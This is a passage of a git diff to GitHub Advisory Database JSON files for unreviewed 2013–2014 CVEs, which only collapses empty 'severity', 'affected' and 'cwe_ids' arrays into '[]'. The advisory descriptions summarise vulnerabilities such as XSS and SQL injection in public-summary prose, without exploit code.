"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-42v8-53xx-p57h/GHSA-42v8-53xx-p57h.json b/advisories/unreviewed/2022/05/GHSA-42v8-53xx-p57h/GHSA-42v8-53xx-p57h.json index bbb293c1a47..0e6b4aa29b5 100644 --- a/advisories/unreviewed/2022/05/GHSA-42v8-53xx-p57h/GHSA-42v8-53xx-p57h.json +++ b/advisories/unreviewed/2022/05/GHSA-42v8-53xx-p57h/GHSA-42v8-53xx-p57h.json @@ -7,12 +7,8 @@ "CVE-2013-3818" ], "details": "Unspecified vulnerability in the PeopleSoft Enterprise PeopleTools component in Oracle PeopleSoft Products 8.51, 8.52, and 8.53 allows remote attackers to affect integrity via unknown vectors related to Portal, a different vulnerability than CVE-2013-2404.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-44p4-8hp3-824h/GHSA-44p4-8hp3-824h.json b/advisories/unreviewed/2022/05/GHSA-44p4-8hp3-824h/GHSA-44p4-8hp3-824h.json index 6b44fe04b77..905b2944cca 100644 --- a/advisories/unreviewed/2022/05/GHSA-44p4-8hp3-824h/GHSA-44p4-8hp3-824h.json +++ b/advisories/unreviewed/2022/05/GHSA-44p4-8hp3-824h/GHSA-44p4-8hp3-824h.json @@ -7,12 +7,8 @@ "CVE-2013-6010" ], "details": "Cross-site scripting (XSS) vulnerability in the Comment Attachment plugin 1.0 for WordPress allows remote attackers to inject arbitrary web script or HTML via the \"Attachment field title.\"", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-457x-pfmm-7g5g/GHSA-457x-pfmm-7g5g.json b/advisories/unreviewed/2022/05/GHSA-457x-pfmm-7g5g/GHSA-457x-pfmm-7g5g.json index a2a60dd6f05..5682d8c5134 100644 --- a/advisories/unreviewed/2022/05/GHSA-457x-pfmm-7g5g/GHSA-457x-pfmm-7g5g.json +++ b/advisories/unreviewed/2022/05/GHSA-457x-pfmm-7g5g/GHSA-457x-pfmm-7g5g.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-46jm-v2qp-4qwm/GHSA-46jm-v2qp-4qwm.json b/advisories/unreviewed/2022/05/GHSA-46jm-v2qp-4qwm/GHSA-46jm-v2qp-4qwm.json index 96aff4c0cff..a0e2aa7cf9e 100644 --- a/advisories/unreviewed/2022/05/GHSA-46jm-v2qp-4qwm/GHSA-46jm-v2qp-4qwm.json +++ b/advisories/unreviewed/2022/05/GHSA-46jm-v2qp-4qwm/GHSA-46jm-v2qp-4qwm.json @@ -7,12 +7,8 @@ "CVE-2013-5464" ], "details": "IBM Maximo Asset Management 7.5.x before 7.5.0.3 IFIX027, 7.5.0.4 before IFIX011, and 7.5.0.5 before IFIX006 and SmartCloud Control Desk 7.x before 7.5.0.3 and 7.5.1.x before 7.5.1.2 allow remote authenticated users to bypass intended access restrictions, and modify physical counts associated with restricted storerooms, via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -32,9 +28,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-46mw-pjxm-4rwh/GHSA-46mw-pjxm-4rwh.json b/advisories/unreviewed/2022/05/GHSA-46mw-pjxm-4rwh/GHSA-46mw-pjxm-4rwh.json index 29e7e397082..8cf43612deb 100644 --- a/advisories/unreviewed/2022/05/GHSA-46mw-pjxm-4rwh/GHSA-46mw-pjxm-4rwh.json +++ b/advisories/unreviewed/2022/05/GHSA-46mw-pjxm-4rwh/GHSA-46mw-pjxm-4rwh.json @@ -7,12 +7,8 @@ "CVE-2013-6316" ], "details": "IBM WebSphere Portal 7.0.0.x before 7.0.0.2 CF26 and 8.0.0.x before 8.0.0.1 CF09 does not properly handle content-selection changes during Taxonomy component rendering, which allows remote attackers to obtain sensitive property information in opportunistic circumstances by leveraging an error in a Web Content Manager (WCM) context processor.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-4776-8p53-v33g/GHSA-4776-8p53-v33g.json b/advisories/unreviewed/2022/05/GHSA-4776-8p53-v33g/GHSA-4776-8p53-v33g.json index 02dfa828886..21c6c3d9ec0 100644 --- a/advisories/unreviewed/2022/05/GHSA-4776-8p53-v33g/GHSA-4776-8p53-v33g.json +++ b/advisories/unreviewed/2022/05/GHSA-4776-8p53-v33g/GHSA-4776-8p53-v33g.json @@ -7,12 +7,8 @@ "CVE-2013-6016" ], "details": "The Traffic Management Microkernel (TMM) in F5 BIG-IP LTM, APM, ASM, Edge Gateway, GTM, Link Controller, and WOM 10.0.0 through 10.2.2 and 11.0.0; Analytics 11.0.0; PSM 9.4.0 through 9.4.8, 10.0.0 through 10.2.4, and 11.0.0 through 11.4.1; and WebAccelerator 9.4.0 through 9.4.8, 10.0.0 through 10.2.4, and 11.0.0 through 11.3.0 might change a TCP connection to the ESTABLISHED state before receiving the ACK packet, which allows remote attackers to cause a denial of service (SIGFPE or assertion failure and TMM restart) via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-47fw-4pvr-rc99/GHSA-47fw-4pvr-rc99.json b/advisories/unreviewed/2022/05/GHSA-47fw-4pvr-rc99/GHSA-47fw-4pvr-rc99.json index b1c79fa78f1..fbe7a699e19 100644 --- a/advisories/unreviewed/2022/05/GHSA-47fw-4pvr-rc99/GHSA-47fw-4pvr-rc99.json +++ b/advisories/unreviewed/2022/05/GHSA-47fw-4pvr-rc99/GHSA-47fw-4pvr-rc99.json @@ -7,12 +7,8 @@ "CVE-2013-5586" ], "details": "Cross-site scripting (XSS) vulnerability in wikka.php in WikkaWiki before 1.3.4-p1 allows remote attackers to inject arbitrary web script or HTML via the wakka parameter to sql/.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-47hw-mgjj-9mv2/GHSA-47hw-mgjj-9mv2.json b/advisories/unreviewed/2022/05/GHSA-47hw-mgjj-9mv2/GHSA-47hw-mgjj-9mv2.json index b306ba9aae6..3546602a222 100644 --- a/advisories/unreviewed/2022/05/GHSA-47hw-mgjj-9mv2/GHSA-47hw-mgjj-9mv2.json +++ b/advisories/unreviewed/2022/05/GHSA-47hw-mgjj-9mv2/GHSA-47hw-mgjj-9mv2.json @@ -7,12 +7,8 @@ "CVE-2013-2507" ], "details": "Multiple cross-site scripting (XSS) vulnerabilities in the Brother MFC-9970CDW printer with firmware G (1.03) allow remote attackers to inject arbitrary web script or HTML via the (1) id parameter to admin/log_to_net.html or (2) kind parameter to fax/copy_settings.html, a different vulnerability than CVE-2013-2670 and CVE-2013-2671.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-49q8-f85j-7fq7/GHSA-49q8-f85j-7fq7.json b/advisories/unreviewed/2022/05/GHSA-49q8-f85j-7fq7/GHSA-49q8-f85j-7fq7.json index c415d08f669..6a67af4032c 100644 --- a/advisories/unreviewed/2022/05/GHSA-49q8-f85j-7fq7/GHSA-49q8-f85j-7fq7.json +++ b/advisories/unreviewed/2022/05/GHSA-49q8-f85j-7fq7/GHSA-49q8-f85j-7fq7.json @@ -7,12 +7,8 @@ "CVE-2013-5650" ], "details": "Junos Pulse Secure Access Service (IVE) 7.1 before 7.1r5, 7.2 before 7.2r10, 7.3 before 7.3r6, and 7.4 before 7.4r3 and Junos Pulse Access Control Service (UAC) 4.1 before 4.1r8.1, 4.2 before 4.2r5, 4.3 before 4.3r6 and 4.4 before 4.4r3, when a hardware SSL acceleration card is enabled, allows remote attackers to cause a denial of service (device hang) via a crafted packet.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-4c8p-jvjr-7vh7/GHSA-4c8p-jvjr-7vh7.json b/advisories/unreviewed/2022/05/GHSA-4c8p-jvjr-7vh7/GHSA-4c8p-jvjr-7vh7.json index 0105d646942..d5dc54a1fee 100644 --- a/advisories/unreviewed/2022/05/GHSA-4c8p-jvjr-7vh7/GHSA-4c8p-jvjr-7vh7.json +++ b/advisories/unreviewed/2022/05/GHSA-4c8p-jvjr-7vh7/GHSA-4c8p-jvjr-7vh7.json @@ -7,12 +7,8 @@ "CVE-2013-3819" ], "details": "Unspecified vulnerability in the PeopleSoft Enterprise PeopleTools component in Oracle PeopleSoft Products 8.51, 8.52, and 8.53 allows remote attackers to affect confidentiality and availability via unknown vectors related to Mobile Applications.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-4cg7-mcf9-m4p2/GHSA-4cg7-mcf9-m4p2.json b/advisories/unreviewed/2022/05/GHSA-4cg7-mcf9-m4p2/GHSA-4cg7-mcf9-m4p2.json index 9be39461006..7c3daa895ef 100644 --- a/advisories/unreviewed/2022/05/GHSA-4cg7-mcf9-m4p2/GHSA-4cg7-mcf9-m4p2.json +++ b/advisories/unreviewed/2022/05/GHSA-4cg7-mcf9-m4p2/GHSA-4cg7-mcf9-m4p2.json @@ -7,12 +7,8 @@ "CVE-2013-5395" ], "details": "IBM Maximo Asset Management 6.2 through 6.2.8, 7.1 before 7.1.1.12, and 7.5 before 7.5.0.5 allows remote attackers to bypass intended access restrictions via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-4ffm-94c3-2w3r/GHSA-4ffm-94c3-2w3r.json b/advisories/unreviewed/2022/05/GHSA-4ffm-94c3-2w3r/GHSA-4ffm-94c3-2w3r.json index 3e9cd040209..ba65475084e 100644 --- a/advisories/unreviewed/2022/05/GHSA-4ffm-94c3-2w3r/GHSA-4ffm-94c3-2w3r.json +++ b/advisories/unreviewed/2022/05/GHSA-4ffm-94c3-2w3r/GHSA-4ffm-94c3-2w3r.json @@ -7,12 +7,8 @@ "CVE-2013-5215" ], "details": "Cross-site scripting (XSS) vulnerability in the web interface \"WiFi scan\" option in FOSCAM Wireless IP Cameras allows remote attackers to inject arbitrary web script or HTML via the SSID.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-4gw4-f4xq-52c8/GHSA-4gw4-f4xq-52c8.json b/advisories/unreviewed/2022/05/GHSA-4gw4-f4xq-52c8/GHSA-4gw4-f4xq-52c8.json index 7cd35abb1c1..fe0167ead50 100644 --- a/advisories/unreviewed/2022/05/GHSA-4gw4-f4xq-52c8/GHSA-4gw4-f4xq-52c8.json +++ b/advisories/unreviewed/2022/05/GHSA-4gw4-f4xq-52c8/GHSA-4gw4-f4xq-52c8.json @@ -7,12 +7,8 @@ "CVE-2013-5557" ], "details": "The Proxy Bypass Content Rewriter feature in the WebVPN subsystem in Cisco Adaptive Security Appliance (ASA) Software 9.1(.2) and earlier allows remote authenticated users to cause a denial of service (device crash or error-recovery event) via an HTTP request that triggers a rewrite, aka Bug ID CSCug91577.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -36,9 +32,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-4gxq-6g4r-m5xf/GHSA-4gxq-6g4r-m5xf.json b/advisories/unreviewed/2022/05/GHSA-4gxq-6g4r-m5xf/GHSA-4gxq-6g4r-m5xf.json index 144384fb431..50e2c007a93 100644 --- a/advisories/unreviewed/2022/05/GHSA-4gxq-6g4r-m5xf/GHSA-4gxq-6g4r-m5xf.json +++ b/advisories/unreviewed/2022/05/GHSA-4gxq-6g4r-m5xf/GHSA-4gxq-6g4r-m5xf.json @@ -7,12 +7,8 @@ "CVE-2013-3759" ], "details": "Unspecified vulnerability in the PeopleSoft Enterprise PeopleTools component in Oracle PeopleSoft Products 8.52 and 8.53 allows remote attackers to affect integrity via vectors related to PIA Search Functionality.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-4hh4-3rxm-gq3h/GHSA-4hh4-3rxm-gq3h.json b/advisories/unreviewed/2022/05/GHSA-4hh4-3rxm-gq3h/GHSA-4hh4-3rxm-gq3h.json index f57faa98c5e..29aee125bed 100644 --- a/advisories/unreviewed/2022/05/GHSA-4hh4-3rxm-gq3h/GHSA-4hh4-3rxm-gq3h.json +++ b/advisories/unreviewed/2022/05/GHSA-4hh4-3rxm-gq3h/GHSA-4hh4-3rxm-gq3h.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-4hvw-3v3j-739r/GHSA-4hvw-3v3j-739r.json b/advisories/unreviewed/2022/05/GHSA-4hvw-3v3j-739r/GHSA-4hvw-3v3j-739r.json index 8c13ff1ad32..25c40559b49 100644 --- a/advisories/unreviewed/2022/05/GHSA-4hvw-3v3j-739r/GHSA-4hvw-3v3j-739r.json +++ b/advisories/unreviewed/2022/05/GHSA-4hvw-3v3j-739r/GHSA-4hvw-3v3j-739r.json @@ -7,12 +7,8 @@ "CVE-2013-6341" ], "details": "SQL injection vulnerability in Dokeos 2.2 RC2 and earlier allows remote attackers to execute arbitrary SQL commands via the language parameter to index.php.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-4mh7-gpc7-h4fw/GHSA-4mh7-gpc7-h4fw.json b/advisories/unreviewed/2022/05/GHSA-4mh7-gpc7-h4fw/GHSA-4mh7-gpc7-h4fw.json index 535055b82b0..9606c8745ee 100644 --- a/advisories/unreviewed/2022/05/GHSA-4mh7-gpc7-h4fw/GHSA-4mh7-gpc7-h4fw.json +++ b/advisories/unreviewed/2022/05/GHSA-4mh7-gpc7-h4fw/GHSA-4mh7-gpc7-h4fw.json @@ -7,12 +7,8 @@ "CVE-2013-6320" ], "details": "Cross-site scripting (XSS) vulnerability in IBM Algo One, as used in MetaData Management Tools in UDS 4.7.0 through 5.0.0, ACSWeb in Algo Security Access Control Management 4.7.0 through 4.9.0, and ACSWeb in AlgoWebApps 5.0.0, allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors, a different vulnerability than CVE-2013-6299, CVE-2013-6300, CVE-2013-6301, and CVE-2013-6333.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-4mm3-xgc2-656r/GHSA-4mm3-xgc2-656r.json b/advisories/unreviewed/2022/05/GHSA-4mm3-xgc2-656r/GHSA-4mm3-xgc2-656r.json index fed524d1602..cb2aca9f4eb 100644 --- a/advisories/unreviewed/2022/05/GHSA-4mm3-xgc2-656r/GHSA-4mm3-xgc2-656r.json +++ b/advisories/unreviewed/2022/05/GHSA-4mm3-xgc2-656r/GHSA-4mm3-xgc2-656r.json @@ -7,12 +7,8 @@ "CVE-2013-5100" ], "details": "Cross-site scripting (XSS) vulnerability in the Static Methods since 2007 (div2007) extension before 0.10.2 for TYPO3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors, related to the t3lib_div::quoteJSvalue function.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-4p3g-c5p4-p6jw/GHSA-4p3g-c5p4-p6jw.json b/advisories/unreviewed/2022/05/GHSA-4p3g-c5p4-p6jw/GHSA-4p3g-c5p4-p6jw.json index b55d91e3167..ed7eccf8718 100644 --- a/advisories/unreviewed/2022/05/GHSA-4p3g-c5p4-p6jw/GHSA-4p3g-c5p4-p6jw.json +++ b/advisories/unreviewed/2022/05/GHSA-4p3g-c5p4-p6jw/GHSA-4p3g-c5p4-p6jw.json @@ -7,12 +7,8 @@ "CVE-2013-4880" ], "details": "Cross-site scripting (XSS) vulnerability in core/admin/modules/developer/modules/views/add.php in BigTree CMS 4.0 RC2 and earlier allows remote attackers to inject arbitrary web script or HTML via the module parameter.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-4pjc-5g8w-829w/GHSA-4pjc-5g8w-829w.json b/advisories/unreviewed/2022/05/GHSA-4pjc-5g8w-829w/GHSA-4pjc-5g8w-829w.json index d6fde1bc8c8..54a7648872c 100644 --- a/advisories/unreviewed/2022/05/GHSA-4pjc-5g8w-829w/GHSA-4pjc-5g8w-829w.json +++ b/advisories/unreviewed/2022/05/GHSA-4pjc-5g8w-829w/GHSA-4pjc-5g8w-829w.json @@ -7,12 +7,8 @@ "CVE-2013-7050" ], "details": "The get_main_source_dir function in scripts/uscan.pl in devscripts before 2.13.8, when using USCAN_EXCLUSION, allows remote attackers to execute arbitrary commands via shell metacharacters in a directory name.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-4qh3-jr4m-5c24/GHSA-4qh3-jr4m-5c24.json b/advisories/unreviewed/2022/05/GHSA-4qh3-jr4m-5c24/GHSA-4qh3-jr4m-5c24.json index 26d3f6d1a61..c8a04c515c2 100644 --- a/advisories/unreviewed/2022/05/GHSA-4qh3-jr4m-5c24/GHSA-4qh3-jr4m-5c24.json +++ b/advisories/unreviewed/2022/05/GHSA-4qh3-jr4m-5c24/GHSA-4qh3-jr4m-5c24.json @@ -7,12 +7,8 @@ "CVE-2013-3811" ], "details": "Unspecified vulnerability in the MySQL Server component in Oracle MySQL 5.6.11 and earlier allows remote authenticated users to affect availability via unknown vectors related to InnoDB, a different vulnerability than CVE-2013-3806.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -48,9 +44,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "LOW", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-4qwf-28v2-r26j/GHSA-4qwf-28v2-r26j.json b/advisories/unreviewed/2022/05/GHSA-4qwf-28v2-r26j/GHSA-4qwf-28v2-r26j.json index 3c619e56364..5c857d3afc8 100644 --- a/advisories/unreviewed/2022/05/GHSA-4qwf-28v2-r26j/GHSA-4qwf-28v2-r26j.json +++ b/advisories/unreviewed/2022/05/GHSA-4qwf-28v2-r26j/GHSA-4qwf-28v2-r26j.json @@ -7,12 +7,8 @@ "CVE-2013-6301" ], "details": "Cross-site scripting (XSS) vulnerability in IBM Algo One, as used in MetaData Management Tools in UDS 4.7.0 through 5.0.0, ACSWeb in Algo Security Access Control Management 4.7.0 through 4.9.0, and ACSWeb in AlgoWebApps 5.0.0, allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors, a different vulnerability than CVE-2013-6299, CVE-2013-6300, CVE-2013-6320, and CVE-2013-6333.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-4rvh-v5w9-chgg/GHSA-4rvh-v5w9-chgg.json b/advisories/unreviewed/2022/05/GHSA-4rvh-v5w9-chgg/GHSA-4rvh-v5w9-chgg.json index f085df0da89..2a53407f809 100644 --- a/advisories/unreviewed/2022/05/GHSA-4rvh-v5w9-chgg/GHSA-4rvh-v5w9-chgg.json +++ b/advisories/unreviewed/2022/05/GHSA-4rvh-v5w9-chgg/GHSA-4rvh-v5w9-chgg.json @@ -7,12 +7,8 @@ "CVE-2013-3535" ], "details": "Multiple cross-site scripting (XSS) vulnerabilities in CMSLogik 1.2.0 and 1.2.1 allow remote attackers to inject arbitrary web script or HTML via the (1) admin_email, (2) header_title, (3) site_title parameter to admin/settings; (4) recaptcha_private or (5) recaptcha_public parameter to admin/captcha_settings; (6) fb_appid, (7) fp_secret, (8) tw_consumer_key, or (9) tw_consumer_secret parameter to admin/social_settings; (10) slug parameter to admin/gallery/save_item_settings; or (11) item_link parameter to admin/edit_menu_item_ajax. NOTE: this issue might be resultant from CSRF.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-4w86-6238-4wcf/GHSA-4w86-6238-4wcf.json b/advisories/unreviewed/2022/05/GHSA-4w86-6238-4wcf/GHSA-4w86-6238-4wcf.json index ab687f36709..bad7bc74930 100644 --- a/advisories/unreviewed/2022/05/GHSA-4w86-6238-4wcf/GHSA-4w86-6238-4wcf.json +++ b/advisories/unreviewed/2022/05/GHSA-4w86-6238-4wcf/GHSA-4w86-6238-4wcf.json @@ -7,12 +7,8 @@ "CVE-2013-6310" ], "details": "Cross-site scripting (XSS) vulnerability in IBM Marketing Platform 9.1 before FP2 allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-4xfw-hc34-9cm8/GHSA-4xfw-hc34-9cm8.json b/advisories/unreviewed/2022/05/GHSA-4xfw-hc34-9cm8/GHSA-4xfw-hc34-9cm8.json index 543c78d8de1..42d701b8cb9 100644 --- a/advisories/unreviewed/2022/05/GHSA-4xfw-hc34-9cm8/GHSA-4xfw-hc34-9cm8.json +++ b/advisories/unreviewed/2022/05/GHSA-4xfw-hc34-9cm8/GHSA-4xfw-hc34-9cm8.json @@ -7,12 +7,8 @@ "CVE-2013-4879" ], "details": "SQL injection vulnerability in core/inc/bigtree/cms.php in BigTree CMS 4.0 RC2 and earlier allows remote attackers to execute arbitrary SQL commands via the PATH_INFO to index.php.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-4xgp-85mh-vqjj/GHSA-4xgp-85mh-vqjj.json b/advisories/unreviewed/2022/05/GHSA-4xgp-85mh-vqjj/GHSA-4xgp-85mh-vqjj.json index d84186a2586..13801dd2a03 100644 --- a/advisories/unreviewed/2022/05/GHSA-4xgp-85mh-vqjj/GHSA-4xgp-85mh-vqjj.json +++ b/advisories/unreviewed/2022/05/GHSA-4xgp-85mh-vqjj/GHSA-4xgp-85mh-vqjj.json @@ -7,12 +7,8 @@ "CVE-2013-5467" ], "details": "Monitoring Agent for UNIX Logs 6.2.0 through FP03, 6.2.1 through FP04, 6.2.2 through FP09, and 6.2.3 through FP04 and Monitoring Server (ms) and Shared Libraries (ax) 6.2.0 through FP03, 6.2.1 through FP04, 6.2.2 through FP08, 6.2.3 through FP01, and 6.3.0 through FP01 in IBM Tivoli Monitoring (ITM) on UNIX allow local users to gain privileges via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -32,9 +28,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-52g6-pfrq-rxfv/GHSA-52g6-pfrq-rxfv.json b/advisories/unreviewed/2022/05/GHSA-52g6-pfrq-rxfv/GHSA-52g6-pfrq-rxfv.json index 59a30ed71be..6f3f0eb9904 100644 --- a/advisories/unreviewed/2022/05/GHSA-52g6-pfrq-rxfv/GHSA-52g6-pfrq-rxfv.json +++ b/advisories/unreviewed/2022/05/GHSA-52g6-pfrq-rxfv/GHSA-52g6-pfrq-rxfv.json @@ -7,12 +7,8 @@ "CVE-2013-5573" ], "details": "Cross-site scripting (XSS) vulnerability in the default markup formatter in Jenkins 1.523 allows remote attackers to inject arbitrary web script or HTML via the Description field in the user configuration.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-537f-m8rq-x6vw/GHSA-537f-m8rq-x6vw.json b/advisories/unreviewed/2022/05/GHSA-537f-m8rq-x6vw/GHSA-537f-m8rq-x6vw.json index d9c1de8b76d..d90859b032b 100644 --- a/advisories/unreviewed/2022/05/GHSA-537f-m8rq-x6vw/GHSA-537f-m8rq-x6vw.json +++ b/advisories/unreviewed/2022/05/GHSA-537f-m8rq-x6vw/GHSA-537f-m8rq-x6vw.json @@ -7,12 +7,8 @@ "CVE-2013-4304" ], "details": "The CentralAuth extension for MediaWiki 1.19.x before 1.19.8, 1.20.x before 1.20.7, and 1.21.x before 1.21.2 caches a valid CentralAuthUser object in the centralauth_User cookie even when a user has not successfully logged in, which allows remote attackers to bypass authentication without a password.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-53ff-hmxc-3jpp/GHSA-53ff-hmxc-3jpp.json b/advisories/unreviewed/2022/05/GHSA-53ff-hmxc-3jpp/GHSA-53ff-hmxc-3jpp.json index 5d43fae363b..de8e9a5a717 100644 --- a/advisories/unreviewed/2022/05/GHSA-53ff-hmxc-3jpp/GHSA-53ff-hmxc-3jpp.json +++ b/advisories/unreviewed/2022/05/GHSA-53ff-hmxc-3jpp/GHSA-53ff-hmxc-3jpp.json @@ -7,12 +7,8 @@ "CVE-2013-4030" ], "details": "Integrated Management Module (IMM) 2 1.00 through 2.00 on IBM System X and Flex System servers supports SSL cipher suites with short keys, which makes it easier for remote attackers to defeat cryptographic protection mechanisms via a brute-force attack against (1) SSL or (2) TLS traffic.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-54x4-w275-fh47/GHSA-54x4-w275-fh47.json b/advisories/unreviewed/2022/05/GHSA-54x4-w275-fh47/GHSA-54x4-w275-fh47.json index 01c5f27fba2..ed9c0b7a895 100644 --- a/advisories/unreviewed/2022/05/GHSA-54x4-w275-fh47/GHSA-54x4-w275-fh47.json +++ b/advisories/unreviewed/2022/05/GHSA-54x4-w275-fh47/GHSA-54x4-w275-fh47.json @@ -7,12 +7,8 @@ "CVE-2014-0667" ], "details": "The RMI interface in Cisco Secure Access Control System (ACS) does not properly enforce authorization requirements, which allows remote authenticated users to read arbitrary files via a request to this interface, aka Bug ID CSCud75169.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -44,9 +40,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-55wx-mrmp-w4c7/GHSA-55wx-mrmp-w4c7.json b/advisories/unreviewed/2022/05/GHSA-55wx-mrmp-w4c7/GHSA-55wx-mrmp-w4c7.json index 6689549e5a6..91e2f6f9d18 100644 --- a/advisories/unreviewed/2022/05/GHSA-55wx-mrmp-w4c7/GHSA-55wx-mrmp-w4c7.json +++ b/advisories/unreviewed/2022/05/GHSA-55wx-mrmp-w4c7/GHSA-55wx-mrmp-w4c7.json @@ -7,12 +7,8 @@ "CVE-2013-3771" ], "details": "Unspecified vulnerability in the Oracle executable component in Oracle Database Server 10.2.0.4, 10.2.0.5, 11.1.0.7, 11.2.0.2, and 11.2.0.3 allows local users to affect confidentiality, integrity, and availability via unknown vectors, a different vulnerability than CVE-2013-3760.", - "severity": [ - - ], - "affected": 